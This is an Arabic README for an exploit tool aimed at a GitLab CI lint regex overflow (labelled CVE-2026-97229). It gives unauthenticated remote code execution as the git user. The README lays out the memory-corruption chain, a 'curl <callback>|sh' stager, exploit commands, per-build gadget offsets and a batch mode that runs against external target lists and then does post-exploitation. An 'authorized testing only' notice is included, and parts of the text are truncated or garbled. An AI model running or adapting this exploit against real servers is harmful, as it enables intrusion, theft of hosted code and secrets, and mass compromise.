CVE-2026-97229 تجاوز سعة عدد صحيح في تعبير regex في GitLab CI lint يؤدي إلى تنفيذ تعليمات برمجية عن بُعد — إعادة إنتاج مصفوفة إصدارات InstaBox وهندسة عكسية لأداة libruby gadget
للاختبار المصرّح به فقط. استخدم هذا ضد الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها (نطاق bug-bounty، ارتباط مع عميل، مختبرك الخاص). الاستخدام غير المصرّح به غير قانوني.
طلب CI-lint غير مُصادَق عليه يُفسد مُطابِق Onigmo ويُعيد توجيه التنفيذ إلى
أداة system() داخل libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
الطلب الأخير غير مُصادَق عليه، لكن زرع إعداد CI الخبيث يتطلب صلاحية كتابة على مشروع عام (أو نسخة تسمح بالتسجيل الذاتي والمشاريع العامة).
| العنصر | القيمة |
|---|---|
| المتأثر (المُختبَر) | 19.2.0–19.2.7، 19.3.0–19.3.3، 19.4.0–19.4.1 |
| غير قابل للاستغلال | 19.2.8، 19.3.4 (شاذ، انظر أدناه)، 19.3.5، 19.4.2؛ 19.2.3 لا يملك صورة CE |
| المُحفِّز | GET /api/v4/projects/:id/ci/lint غير مُصادَق عليه |
| المتطلبات المسبقة | إمكانية الوصول + صلاحية كتابة على مشروع عام (رمز مميز، حساب مخترق، أو تسجيل مفتوح) |
| التأثير | تنفيذ أوامر بصلاحية git (uid 998) داخل حاوية GitLab |
| قيود PoC | إصدارات x86_64؛ التخطيط مرتبط ببناء libruby.so المحدد، وليس بسلسلة الإصدار |
| حدود الاستشارة | 19.2.x < 19.2.8، 19.3.x < 19.3.5، 19.4.x < 19.4.2 |
يُدرَج 19.3.4 كمتأثر في الاستشارة، لكن
libruby.soالمضمّن فيه لا يدخل أبدًا في مسار التوسيع الثغرة — لم نتمكن من تسليحه (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
لا يوجد حساب سحابي ولا SSH: المختبر عبارة عن Docker عادي (الخادم المحلي، DOCKER_HOST، أو سياق docker).
على Docker Desktop أضف --callback-host host.docker.internal.
include.rules.exists.regexp مُصمَّم بالإضافة إلى مسار مستودع بطول 110 بايت.{5(?#)7805} بحيث لا يراها حارس التكرار على جانب Rails (REPEAT_MAX=1000).call وإزاحة system@plt، مما يعيد توجيه الآلة الافتراضية.curl -s <callback>|sh، مما يمنح صدفة بصلاحيات مستخدم خدمة git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
يقوم المشغّل بتطبيق إعدادات الذاكرة التي يحتاجها الاستغلال (sidekiq off، عامل Puma واحد، مخازن Postgres صغيرة، --memory 6.5g --shm-size 256m)، وينتظر واجهة المستخدم ويعيّن كلمة مرور الجذر.
انظر lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| الحقل | المعنى |
|---|---|
http | حالة GET /users/sign_in |
version | إصدار GitLab المقروء من الحاوية (null بدون الوصول إلى الحاوية) |
class | تصنيف الاستشارة: affected / patched / not-listed / unknown |
libruby_md5 | هوية البناء لـ libruby.so الخاصة بالحاوية الهدف |
layout | finish / gadget / step (فقط عندما يكون البناء معروفًا أو قابلًا للاستنتاج) |
exploitable | ما إذا كان هناك تخطيط متاح؛ class=affected لا يعني ذلك |
layout_source | table أو derived أو no-overflow-in-build |
class: "unknown" تعني ببساطة أنه لم تتوفر معلومات عن الحاوية/الإصدار — بالنسبة لهدف يعتمد على URL فقط،
لا تستطيع الأداة التصنيف أو استنتاج تخطيط. راجع "الأهداف الخارجية" أدناه.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
معيار النجاح: lint هو dropped(HTTPError) أو http(502) وoutput يبدأ بـ
uid=998(git). يعني 200 مع valid:true أن البناء غير قابل للاستغلال.
| السطر | قابل للاستغلال | مُرقَّع / غير قابل للاستغلال |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; الإصدار 19.2.3 لا يملك صورة CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (المطابق لا يتوسع أبدًا)، 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
الأدلة لكل بناء: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container مطلوب لمسار الاستغلال الحالي (libruby/layout + rails runner)؛ layout هو
تجاوز اختياري للبنيات التي لا تستطيع الأداة قراءتها.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
لكل هدف، بالترتيب: probe → exploit → عند نجاح RCE post-exploitation
(exploit/post/collect.sh؛ تجاوزها باستخدام --post-command-file، وعطّلها باستخدام --no-post).
يوقف --probe-only العمل بعد البصمة. رمز الخروج 0 إذا أعطى أي هدف RCE.
تحتاج الحمولة إلى ثلاثة ثوابت لكل بناء (finish، أداة system@plt، خطوة UTF-8). ترتيب التحديد:
layout صريح (0x… 0x… 12345)؛libruby.so الخاص بالحاوية عبر exploit/layout.py.تستخدم جميع عمليات البناء المعرّضة للثغرة المعروفة تخطيطين فقط: 0x486DA9/0x31EE29/1249885 و
0x4885A9/0x31E809/1256138.
يحتاج --mode external إلى HTTP وPAT فقط (نطاق api): ينشئ مشروعًا عامًا عبر API،
ويدفع باستخدام oauth2:<token>، ويطلق فحص lint غير المُصادَق، ويزيل المشروع بعد ذلك.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80
GET /api/v4/version موثّق ← جدول الإصدار/md5؛ إصدار غير معروف ← كلا التخطيطين المرشحين
(--force-unknown-version يتخطى فحص الإصدار)؛api يمكنه إنشاء مشروع عام؛ بدونه تُبلغ الأداة
no-write-path ولا ترسل شيئًا؛cb.example:80)؛ العناوين الأطول
تُرفض قبل أي طلب؛--scope و--authorized إلزاميان للاستغلال؛ --dry-run يكتفي بالبصمة؛GET /api/v4/projects/:id)؛